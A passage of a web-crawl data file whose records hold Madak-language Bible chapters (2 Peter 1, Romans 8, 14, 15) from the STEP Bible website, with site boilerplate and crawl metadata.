amisik ti ne Moroa ne Temen dik la kopmen taxavaxap teren. I ruturun.\nLavapaase Momo21 Nia a lox aonon lavapaase momo rinemi limixin axap mi nuunu at ne Iesu Karisito. Luvutnetak mi luvurinuk, dik lok eburu minia de, di lox aonon bok lavapaase momo atnedi rinemi. 22 Nedi axap limixin at ne Moroa nade, di lox aonon lavapaase momo rinemi. Nedi rinotno limixin gugu at loogu at ne Kaisar di lox aonon lavapaase momo rinimi. I ruturun.\n23 Letaba nabalamu at Leeme Silok ne Iesu Karisito na nemen eburu mi lorooro atnemi. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Phili.4","date":"2018-10-18T21:56:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512015.74\/warc\/CC-MAIN-20181018214747-20181019000247-00481.warc.gz","language":"mmx","language_score":1.0000011921,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000011920928955}","num_words":827,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.241,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Peter 1\nLavapaase Axasep1 Nenia ne Simon Pita, lasaxaruki la luun pavang at ne Iesu Karisito.\nLa a malagan i na levelinga rinemi limixin miga ruuna xaka lunuunu xeneng at lomokmokso at ne Moroa atnedik, neni Laradi Loklox Arooro ne Iesu Karisito; la mo lunuunu i lox avukat ngan lunuunu atnama.\n2 La mumu mun lakleklen atnemi xeneng at ne Moroa la ne Iesu Leeme Silok atnedik, a sing do letaba nabalamu eburu mi lenmila na su silok keneng at lorooro atnemi.\nLorotoro La Losoksoxolik At Ne Moroa3 Lololos at ne Moroa gara raba vam nedik mi levempanga axap nedik dik pakes tin ti lok kaka lorooro avolo la ti ruuna ka luruptuvuk nunuan mumu lakleklen atnedik ti ne Iesu Karisito, mo ga ro xaka nedik kusu atak lox eburu min keneng at lisisixam la luvukat teren. 4 Keneng at na lempanga, neni gara raba vam nedik mi leventamtaba i nunuan aleng, neni ga tong li i rinedik, kusu na leventamtaba naba beng pe nemi basinge levendoxoma xapmek at na lavatkangka la lavavara xapmek, la kusu na leventamtaba naba lam kaka nemi xusu minaba ruuna xaka luruptuvuk nunuan la minak mokso kerekngan neni.\n5 Neni lavasuun ba ren la mina lolos tinotno xusu minak lox epasum luvukat ukeneng ti lunuunu atnemi; la minak lok epasum lakleklen ukeneng at luvukat atnemi; 6 la minak lox epasum lavatpas adoxoma at luruptuvuk atnemi ukeneng at lakleklen atnemi; la minak lox epasum lurutu lolos ukeneng at lavatpas adoxoma atnemi; la minak lok epasum lomokmokso ukeneng at lurutu lolos atnemi; 7 la minak lox epasum luvukat ti luvutneton nemi ukeneng ti lomokmokso; la minak lox epasum labalamu ukeneng at luvukat ti luvutneton nemi. 8 Do mina ruuna xaka i na levempanga la dina umsu xeneng at lorooro atnemi, dinaba lok nemi la mina lox asuusu leveloklok nunuan mumu lakleklen atnemi keneng at Leeme Silok atnedik ne Iesu Karisito. 9 Ketla nege do ixo ruuna i na leveloklok nunuan, neni i lok ngan laxatli main no ixo epovo xusu neni na reven la ira domampe nga i do Moroa gara gos adadat pam i basinge laxakapmek teren me gano.\n10 Kuren la luvutnetak mi luvurinuk, mina lolos kusu mina doma amuat lorotoro la losoksoxolik at ne Moroa rinemi; la do mina lox i na, kopmen tinotno mi noxo subu basinge lunuunu atnemi. 11 Do mina mu asu na langas, lumusaragu naba rem suang tinotno xusu miba vubeles ukeneng at Linintoo ik lox amisik la neni Linintoo at Laradi Loklox Arooro atnedik, Leeme Silok ne Iesu Karisito.\n12 Kuren la nenia anabak lox adoxoma aklen amisik nemi ri na langas, keke i do miraklen pam di la mira tu lolos keneng at luruturun miga ruuna xaka i. 13 Nia a lok do, ik mokso mun tia xusu anak lox axatu levendoxoma atnemi mi na levempanga at na levenaleng nenia move a rooro, 14 atla aklen i do, noxo lox abao la ana on basinge labantuxu at na lavatbung menemen, ngan levelinga at Leeme Silok atdik ne Iesu Karisito ga tong taba ia min. 15 Anaba lolos tinotno xusu ana vuse xaka tangas ti lok nemi xusu minabam doma aklen ti na levempanga at levenaleng melemu at lanmet tarak.\nNema Maga Reven Lisisixam At Ne Moroa16 Nema ma goxo mumu asu mun tekonterepi gamasa mene nga boro at levendoxoma at limixin at levenaleng maga tong asu Lagale Lavavang tinimi mumu lololos la lovotpot at Leeme Silok atnedik ne Iesu Karisito. Ketla nema maga ven tinotno lisisilok teren mi levengkatli atnema. 17 At loxonaleng ne Moroa ne Temen ga raba i mi laasen silok la lisisixam, nema mo magak lok, la maga ronga laxaka tadi ga laa boro at lisisixam silok ga vaase xeretna,\n\"Neni na ne Nuruk, a balamu i la a momo min!\" a\n18 La nema xa maga ronga mo laxaka tadi ga ravasu boro vana at laxalibet at loxonaleng nema magak lox eburu min to vana at lakaana xaala.\n19 La nema ma nuunu rinotno at levelinga at lavaeme vapaase alii diga paase i. I lox avukat mina ronga ka avukat na levelinga, atla neni naba lok ngan lababao i soosoo at laxanimin la ira se at labarakoxot, la naba lok ngan lavatpentian i soosoo ro xeneng at lorooro atnemi. 20 La pana axap at levempanga axap, minakleklen box i do ixo epovo rinotno xusu tara naba lox asuusu lavasuun at levempapaase alii no xeneng at Lovoang Kaala mi lodoxoma axa ren; 21 atla, kopmen tepempapaase alii ga ravasu mun at lodoxoma mene nga at taradi at na laxangka, ketla lavaeme vapaase alii, diga vonon mumu mene nga Loroonan Kaala at levenaleng diga paase asu levelinga ga laala boro at ne Moroa.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Pe.1","date":"2018-10-19T11:59:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512395.23\/warc\/CC-MAIN-20181019103957-20181019125457-00135.warc.gz","language":"mmx","language_score":0.9999682903,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999682903289795}","num_words":921,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.248,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 8\nLorooro Keneng At Loroonan Kaala1 Kopmen bok ba toxokoxo tinedi di nemen keneng at ne Iesu Karisito; 2 atla keneng at ne Iesu Karisito, Loroonan Kaala ga raba dik mi lorooro la gara lox asepmus pam dik basinge lololos at laxapmek eburu mi lanmet. 3 Lenavolo goxo epovo ri lox arooro limixin atla limixin diga ruuna laxakapmek keneng at lorooro atdi; ketla ne Moroa ga lox arooro dik, neni ga riki asi lamdak tinotno ren, la neni ga lok kepe laxapmek keneng at limixin. La ni ga ruuna ka labantuxu ngan labantuxu at limixin kusu na raba lorooro ren ngan laxaavuk. 4 Moroa ga lox i na xusu neni naba lox epovo leventaangas avukat at Lenavolo tinedik, kopmen ata mumu asu lavavara at labantuxu, ketla di mumu asu lodoxoma at Loroonan Kaala.\n5 Nedi di rooro mun keneng at labantuxu atnedi, levendoxoma atnedi i mumu asu mun lavavara at labantuxu. La nedi di rooro mu asu Loroonan Kaala im lam di xuren, levendoxoma atnedi i mumu asu mun lavavara at Loroonan Kaala. 6 Do levendoxoma atnedi na mumu asu mun lavavara at labantuxu, laxavaxap teren, lanmet; ket do levendoxoma atdi na mumu asu lavavara at Loroonan Kaala, laxavaxap teren, lorooro eburu mi lenmila. 7 Limixin dinaba ravasu ngan lavamunepen mi ne Moroa do, levendoxoma atdi na mumu asu mun lavavara at labantuxu atdi. Kopmen dina ronga res at levelinga at ne Moroa, la ixo epovo rinotno do dina ronga res teren. 8 La ixo epovo rinotno do nedi di ronga res at lavavara at labantuxu, dina lox amomo ne Moroa.\n9 Ketla nemi xopmen mina rooro at lavavara at labantuxu; ketla mi rooro mu mun lavavara at Loroonan Kaala, mo do Loroonan Kaala at ne Moroa i nemen keneng atnimi. La do nege di, dixo ruuna Loroonan Kaala at ne Karisito, nedi xopmen limixin at ne Karisito. 10 Ketla do ne Karisito nak lok keneng atnemi, labantuxu atnemi naba met mumu laxapmek, ketla loroonan atnemi naba rooro atla ne Moroa naba siam kaka nimi ngan limixin mokmokso. 11 Mo do Loroonan at ne Moroa, mo ga lox aroo ne Iesu basinge lanmet, nak lok keneng atnemi, ne Moroa, mo ga lok aroo ne Karisito basinge lanmet, neni naba raba bok labantuxu atnemi mi lorooro, atla Loroonan teren ik lok keneng atnemi.\n12 Kuren la luvutnetak mi luvurinuk, nedik ta ruuna lugugu xusu tanaba lox i xeneng at lorooro atnedik. Ketla kopmen do nedik atap tuvuk gamasa mene nga mi lorooro at labantuxu. 13 Do mina rooro mu asu mene nga lavavara at labantuxu, nemi minaba met; ket do mina lok kaka Loroonan Kaala la mina sev amet leveloklok kakapmek atnimi min, minaba roo.\n14 Nedi no Loroonan at ne Moroa i sasat nedi, nedi luvutnitna ne Moroa, 15 atla Loroonan no ne Moroa gara raba vam nimi min ik lok nimi xusu mi noxo marat ngan lasaxaruki; ketla i lok nimi xusu nemi luvutnitna ne Moroa, la nedik di toro ri ne Moroa mi lololos at Loroonan Kaala keretna, \"Tamak! Tamak!\" 16 Loroonan at ne Moroa i tu buru mi leventoonan atnedik, kusu ri lox asuusu i do nedik luvutnitna ne Moroa. 17 La nedik luvutnitna, kuren la atanaba ruuna xaka leveloklox anarong ne Moroa ga lok li ri limixin teren, la nedik eburu mi ne Karisito atanaba ruuna ka bok leveloklox anarong no ne Moroa ga lok li i rin; atla do nedik ata xip tooro ne Karisito mi losongsongot teren, nedik tanaba ruuna ka bok loxot at lisisixam teren.\nLisisixam Avolo Melemu18 Nenia a doma i do nedik di suma losongsongot at na levenaleng, ixo epovo rinotno xusu ata lox epovo du mi lisisixam avolo mo ne Moroa naba raba dik min. 19 Lempanga axap at ne Moroa ga rudum li di, di ngangais tinotno kusu ne Moroa na lox asuvos tinotno luvutnitna. 20 Moroa ga lok li lasaxaek mavana at luruntudum li ren. Anai kopmen at lavavara at luruntudum li ketla at lavavara at ne Moroa ga lok li i xuren. Ketla lodoxoma voovo at luruntudum li i lok keretna, 21 na luruntudum li naba sepsu at tara taaleng la noxopso bok ba, ketla nabak lok sepsu la naba lok kaka lisisinang avolo ngan luvutnitna ne Moroa.\n22 La dik takleklen i do i se nga at na levenaleng, na luruntudum li axap it mes mi losongsongot i ngan latkin i visik. 23 Ketla xopmen neni xusuk mun; nedik bok di ruuna Loroonan Kaala ngan laramtaba avot at ne Moroa, nedik bok dit mes keneng axa atnedik at levenaleng dik di ngangais tinotno ne Moroa xusu neni na lok li nedik ngan luvutnitna, la na lox asepsu labantuxu atnedik. 24 Nedik diga roo suu mene i ngan nedik diga doxoma voovo xuren; ketla do ata ven luruturun na vot at lodoxoma voovo atnedik, ataba tong i xeretna do, neni xopmen lodoxoma voovo mo, atla ixo epovo do di doma voovo ri tavanga di ven tu vam teren. 25 Ket do nedik ata doma voovo ri tavanga dik dixo ven i, ataba ngais atnaasan i.\n26 Keneng at na lodoxoma voovo, Loroonan Kaala naba lok tooro nedik do nedik taxo ru lolos, atla dik taxoklen i do ataba sing kereva; la Loroonan axa i ngising tinedik saparap ne Moroa mi levelinga metmes nia axo epovo xusu ana mii poovo i mi tekolinga. 27 La ne Moroa neni i reven levempeve at luvuttadi, la iklen lodoxoma at Loroonan atla Loroonan i tu katling limixin at ne Moroa ukeneng eburu mi lodoxoma at ne Moroa.\nLimixin Nuunu Dinaba Volo28 Nedik ataklen i do ne Moroa i gugu mi luvukat at levempanga axap, keneng at lorooro atnedi di balamu i, la nedi no neni gara ro xaka vam nedi xerekngan lodoxoma ren kuren. 29 Avot ti luruntudum li at na lavatbung menemen ne Moroa gakleklen limixin teren la ga soxolik ka di kusu dina ravasu ngan ne Nitna ne Moroa, la neni naba lok ngan lamgomgo ri laxanneton solo. 30 La ne Moroa ga ro xaka nedi neni ga soxolik ka nedi; la nedi bok neni gara ro xaka vam di, neni ga lox asepmus bok nedi, la nedi nom neni ga lox asepmus di, neni ga epes di mi lisisixam teren.\nLabalamu At Ne Moroa Keneng At Ne Iesu Karisito31 Melemu at na ataba tong kaka lavanga salai? Do ne Moroa na tu eburu minedik, nege i epovo xusu na vas asi nedik? 32 Neni xopmen tinotno goxo rebeng alis ne Nitna rinotno, ketla ga raba i ngan laxaavuk tinedik axap. Neni ga raba nedik mi ne Nitna; kereva, neni naba raba gamasa bok nedik mi levempanga axap? 33 Nege i epovo na lok li limixin soksoxolik ka at ne Moroa ro at loxokoxo at laxapmek? Kopmen tara atla ne Moroa axa ga lox asepmus dik. 34 Nege naba epovo xusu na lok li dik at lavapaase? Kopmen tara, atla ne Iesu Karisito, mo neni ga met la ga roo xat amlong bok, monga it kis at lekngen tino ne Moroa. La i ngising ne Moroa xusu na lok tooro nedik! 35 Nege rinotno ba, i epovo xusu na lox epeseves nedik basinge labalamu at ne Karisito? Kopmen tepanga. Ixo epovo do levenmumuat na lox i, kopla levenaleng lolos, kopla levesongsongot mumu lunuunu atdik, kopla loroxo, kopla loklok banbalo, kopla lempanga sepsev amet, kopla lanmet. 36 I ngan Lovoang Kaala i vaase i xeretna,\n\"Nema mak lok keneng at lurube at lanmet at laxanaleng axap mumu u; dik lok nema ngan laxasipsip dit pas kusu dina sev amet di.\" a\n37 Keneng at na levempanga axap, dik digara lok ka vam lixitkis nunuan mumu langas at laradi ua i balamu nedik! 38 La nenia aklen tinotno i do kopmen tepanga naba lox epeseves nedik basinge labalamu ren; lanmet kopla lorooro, kopla taangelo, kopla tagas, kopla tepe lolos salai, kopla lorooro ningina, kopla lorooro melamgo atnedik; 39 kopla lempanga ro mavana at lavatbung menemen, kopla lempanga ro maxopok teren, la kopmen tinotno tepanga de at luruntudum li at ne Moroa i epovo xusu ri lox epeseves nedik basinge labalamu at ne Moroa, mo ga lox asuusu i rinedik keneng at ne Iesu Karisito, Leeme Silok atdik.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.8","date":"2018-10-22T19:45:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583515375.86\/warc\/CC-MAIN-20181022180558-20181022202058-00423.warc.gz","language":"mmx","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000079870224}","num_words":1484,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.213,"stopwords_ratio":0.302,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aAis 49:18\nRomans 14\nNemen Uguta Viila Loklok At Tara Vetpes1 Mina siam abeles kaka mo laradi keneng at lotu atnimi, lunuunu ren kopmen na lolos, ketla nemen gat miguta etep mi levelinga eburu min mumu mo leveloklok ik paxaru kaxat lekarakat. 2 Lunuunu at laradi ik lox i xusu neni i epovo ri anan at levenasen luxa axap, ketla laradi lunuunu ren kopmen na lolos, neni i anan mun levempanga boro xataamang. 3 Laradi do i anan gamasa guta lox abulubun gat lara do i anan mun levenbi; la neni do i anan levenbi, guta lok abulubun gat mo laradi ga siam kaka i ri anan levenasen luxa axap, atla ne Moroa gara siam kaka vam i. 4 Kopmen lugugu atnimi kusu mina viila mumu loklok at laradi gugu at lara vetpes. Keke mulus i, do neni na ru lolos kopla na subu, ketla lavanga xusuk mun atdu mi lamgomgo ren. Ketla neni naba ru lolos, atla Leeme Silok mun i epovo ri lox alolos i.\n5 Tara taradi naba doma i do lara laaleng move neni laaleng silok tinotno la tara vetpes naba doma i do levenaleng axap i epovo mene nga. La nedu getgesara xa dunak lox alolos levendoxoma atnedu xuren. 6 Nege i doxoma alolos i do lara laaleng move i silok, neni i lox i mi loklok ngangao ren ti Leeme Silok. Nege do i anan gamasa levempanga axap, i lok box i mi loklok ngangao ren ti Leeme Silok, atla neni i tong loklox avukat ti ne Moroa ri levempanga anan. Nege do kopmen na anan teventaba teveluxa, neni i lok box i mi loklok ngangao ren ti Leeme Silok, la i tong loklox avukat bok ti ne Moroa rin. 7 Kopmen teta atdik na ruuna torooro xusu tin kusuk mun, la kopmen bok teta atdik na see ka lanmet do tin kusuk mun. 8 Nedik di rooro, di rooro ri Leeme Silok la nedik di remet nop bok laasen at Leeme Silok; keke i do ata met kopla ata rooro, ketla nedik move at Leeme Silok.\n9 Ni lavasuun teren la ne Karisito ga met la ga roo xat amlong kusu neni naba lok ngan Leeme Silok tinedi di rooro la tinedi bok diga met pam. 10 Tila ba mi viila mumu leveloklok at luvutneton nimi? Tila la mi lox abulubun di? Nedik axap na tanaba ru ro melamgo at ne Moroa, la neni naba reven mumu loklok atnedik axap. 11 I ngan Lovoang Kaala i vaase levelinga at Leeme Silok keretna,\n\"Leeme Silok ne Moroa i lok keretna. I ruturun do nenia a rooro, la i ruturun bok do limixin axap dinaba xis mi lempatgulom atdi ro melamgo rak, la limixin axap dinaba tong asu i do nenia ne Moroa.\" a\n12 Kuren la nedik axap ataba raba lavapaase axasep ti ne Moroa mumu lorooro atdik.\nNemen Gat Uguta Lox Asubu Netam13 Kuren la mina xap ta at liviila mumu leveloklok at luvutneton nimi. La mina doma i do nemen gat miguta lok tavanga ri lok luvutneton nimi na sak kikixin kopla na subu beles ti laxapmek. 14 Loklok tarak eburu mi Leeme Silok ne Iesu i lox ia la nia aklen tuturun i do kopmen tempanga anan na bilinga varang gamasa mene nga; ketla do taradi xa na nuunu do lempanga anan mo i bilinga, mo lempanga anan naba bilinga rin. 15 Mo do mina lox abulu luvutneton nimi at leveluxa nemi mi anan i, nemi mixo lox asuusu labalamu. Nemen gat miguta lok leveluxa no nemi mi anan i na lox asubu rinotno laradi no ne Karisito ga uu xorop tin. 16 Nemen miguta lok tavanga no nemi mi doma i do i lox avukat la na lok kapmek levenasen atnimi. 17 Linintoo at ne Moroa neni xopmen loklok ti anan la ti inin, ketla neni lomokmokso, la limila, la lomomo at Loroonan Kaala im taba i. 18 La dola nege i lox epovo lugugu ri ne Karisito at na langas, neni ba lox amomo ne Moroa la limixin diba lok momo mi na loklok teren.\n19 Kuren la minak paxaru li levendoxoma atnemi at levempanga naba raba nimi mi limila, la naba lok tooro bok ti lox alolos lunuunu at limixin axap. 20 Nemen gat miguta sele utut lugugu ne Moroa gara lok pam i, mumu mun leveluxa mi anan i. Leveluxa axap, i epovo do mina anan i, ketla i lok kapmek do mina an tavanga naba lox asubu luvutneton nimi uto xeneng at laxapmek. 21 Langas avukat mene minaba lox i xeretna, mina xap ta at laanan levempanga lolos la liinin kadan lolos la teveloklok sala bok naba lok luvutneton nimi dina subu.\n22 Mina rebeng alis lunuunu atnimi at na levempanga xantubu atnemi mi ne Moroa. Luvukat ti mo laradi kopmen na suma xapmek at loxonaleng ni i lok lempanga ua neni i doma i do ik mokso. 23 Ketla do tara na anan aptaptang gamasa tavanga ua ixo anan i, ne Moroa naba lox abaava i at loxonaleng do neni na anan i, atla neni xopmen na anan i mi lunuunu ren. Kuren la, levempanga salai do kopmen na tu at lunuunu atnimi la do mi lox i, neni laxapmek.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rom.14","date":"2018-10-15T10:12:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509170.2\/warc\/CC-MAIN-20181015100606-20181015122106-00356.warc.gz","language":"mmx","language_score":0.9999955893,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999955892562866}","num_words":1005,"character_repetition_ratio":0.054,"word_repetition_ratio":0.004,"special_characters_ratio":0.22,"stopwords_ratio":0.279,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romans 15\nMina Momo Mi Leventaba Vetpes La Kopmen Do Nemi Axa1 Nedik lunuunu atnedik i lolos, ata xip tooro nedi dixo lolos mi levenaknixip atnedi. La nemen gat dik guta doma xusuk mene nedik la ata lox amomo dik. 2 Ketla ata lox amomo luvutneton nedik la ata lok tooro di, kusu ri lox aru alolos lunuunu atnedi. 3 I ngan ne Karisito goxo momo axa min. Ketla loklok teren i lok ngan Lovoang Kaala i tong i xeretna,\n\"Levelinga xapmek atnedi diga tong asu i ru, ga subu mavana rak.\" a\n4 Levempanga axap ik lok at Lovoang Kaala, diga malagan i gano xusu ri lox ase nedik, kusu nedik ataba lok kaka lodoxoma voovo xeneng at Lovoang Kaala mo im taba dik mi loklox atnaasan la lavapaase tooro.\n5 La a vara i do ne Moroa at loklox atnaasan la at lavapaase tooro na raba bok nemi mi luruburu xantubu atnemi xa na ngan langas ne Iesu Karisito gara lok pam i, 6 kusu minaba ruuna mun legesa doxoma la nemi eburu minaba emi asu mi laasen at ne Moroa la neni ne Temen Leeme Silok atnedik ne Iesu Karisito.\nLagale Lavavang Ti Limixin Kopmen Di Me Judaia7 Kuren la mina esiam ela xaka atnaasan nemi getgesara, i ngan bok ne Karisito gara siam kaka vam nemi kusu mina lox asuusu leemi asu ri ne Moroa. 8 Nenia a tong i rinemi do ne Karisito i lok ngan lasaxaruki at leme Judaia kusu ri lox asuusu i do ne Moroa neni i ruturun mi levelinga ren la ti lox asorun bok levengkakaape at ne Moroa eburu mi loxongkulao silok me gano, 9 la ti lox avolo limixin kopmen nedi me Judaia xusu dina epovo ri emi asu mi laasen at ne Moroa mumu lebelemumu ren. I ngan Lovoang Kaala i vaase i xeretna,\n\"Ni lavasuun teren la anaba tong loklox avukat tu xantubu at limixin kopmen di me Judaia, la anak pixan ti emi asu mi laasen taram.\" b\n10 La i vaase bok keretna,\n\"Nemi limixin kopmen nemi me Judaia mina momo eburu mi limixin at ne Moroa.\" c\n11 La i vaase bok keretna,\n\"Nemi axap limixin kopmen nemi me Judaia, mina emi asu mi Leeme Silok, la limixin axap dinak pixan emi asu bok min.\" d\n12 La ne Aisaia i vaase bok keretna,\n\"Lara at livipisik li at ne Jesi naba vot; la neni naba ravasu xusu ri lok tatao limixin kopmen nedi me Judaia, la dinaba lok li levendoxoma atnedi ren.\" e\n13 A ngising do ne Moroa at levendoxoma voovo axap, na suxa aumsu nemi mi lomomo la limila mumu lunuunu atnemi saparav i, kusu levendoxoma voovo atnemi naba su silok eburu mi lolos at Loroonan Kaala.\nLevelinga Loklox Alolos At Ne Pol14 Luvutnetak mi luvurinuk. Nenia a suma rinotno i dola nemi mi umsu mi luvukat, la mi umsu bok mi lakleklen, la mi epovo xusu mina elox ase ela. 15 Ketla keneng at na lovoang a malagan levelinga lolos kusu ri lox axasep levendoxoma atnemi ri levempanga nenia agara vaase vam nemi min. Nenia a epovo ri paase lolos tinimi mila gano ne Moroa ga raba ia mi na lugugu, 16 i ngan laradi gugu at ne Iesu Karisito ti gugu ri limixin kopmen nedi me Judaia. A vavang mi Lagale Lavavang boro at ne Moroa ngan lamaasa, kusu ne Moroa naba siam kaka limixin kopmen di me Judaia ngan laramtaba at Loroonan Kaala ga gagas min tin.\n17 Nenia at kis esogo eburu mi ne Iesu Karisito, kuren la nia a epovo xusu ana momo at lugugu rak ti ne Moroa. 18 Anaba paase xusuk mun at levempanga ne Karisito gara lok tooro vam ia min la ti lam kaka limixin kopmen di me Judaia xusu dina ronga res at ne Moroa xeneng at levelinga rak la leven gugu rak, 19 la keneng bok at lolos at leveloklok katling la levempanga sangsangu, la at lolos at Loroonan Kaala. La at lempatpas tarak boro Jerusalem uto Ilirikam la mo levenmenemen kantubu, agara vaase asu avukat pam Lagale Lavavang at ne Karisito. 20 Lodoxoma amisik tarak kusu ana paase asu Lagale Lavavang to at levenmenemen di goxovisi gita ronga ka na Lagale Lavavang, kusu a noxo ru mun pana at lugugu laradi vetpes gara lok pam i. 21 I ngan Lovoang Kaala i vaase i xeretna,\n\"Nedi di goxo tong i ridi, dinaba ven kibis i, la nedi di goxovisi gita ronga i, dinabaklen i.\" f\n22 Neni lavasuun teren la buaang levenaleng nenia goxo epovo agita vot saparap nemi.\nLodoxoma At Ne Pol Kusu Tit Pas Uto Rom23 Ketla amo ba ara lox axap ba lugugu rak at na levenmenemen, la agara vavara amisik at laxanmaares kusu anabat pas la ana ven nemi. 24 La a doma i do anaba lox epovo ba i mo. A vara i do anaba ven nemi at loxonaleng nenia ana lok lavatpas tarak uto Spein, la minaba lok tooro box ia rit pas ugo melemu at loklok tarak eburu minemi at lentaba levenaleng. 25 Ketla amo nga, anat pas be uto Jerusalem kusu ri lok lugugu at ne Moroa xeneng at limixin teren go. Nia anabat pas ugo, 26 atla limixin at ne Moroa boro Masadonia la boro Grik di vara i xusu dina raba leventamtaba loklok tooro atnedi ri limixin banbalo dik lok kantubu at limixin at ne Moroa ro Jerusalem. 27 Nedi xa diga doma i do dina lox i, atla di suma i do diga lok kaka laxaloklox anarong solo xeneng at Lagale Lavavang ga ravasu at levenngusno at limixin nuunu boro Jerusalem. Kuren la limixin kopmen nedi me Judaia di doma i do di gugu porang ti leme Judaia mi leveloklox anarong at labantuxu. 28 Do ana lox epovo axav i na la ana raba axap levempilas diga gagas li i xusu rinedi, ana gagas ba rit pas uto Spein, la ap mo lavatpas tarak uto, anaba ven ba nemi. 29 Do nenia ana vot posiga nemi, aklen tinotno i do anabat pas eburu mi loklox anarong silok tinotno at ne Karisito.\n30 Luvutnetak mi luvurinuk, a sing nemi xeneng at laasen at Leeme Silok ne Iesu Karisito la labalamu at Loroonan Kaala im taba i. A vara i xusu mina lok tooro ia mi levesingising ti ne Moroa ri loklok tatao ren tia. 31 Mina ngising ti ne Moroa xusu neni nabak lok tatao ia at lavatpas tarak keneng at limixin dixo nuunu dik lok keneng at lenep Judaia, la lugugu bok tarak keneng at lemenemen silok Jerusalem kusu limixin at ne Moroa mego dinaba siam kaka i. 32 Kuren la nenia anaba vot pasa nemi mi lomomo, do lavavara at ne Moroa xuren, la anaba lok kaka lolos eburu bok minemi. 33 A vara i do ne Moroa at limila nak lox eburu minemi axap. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can 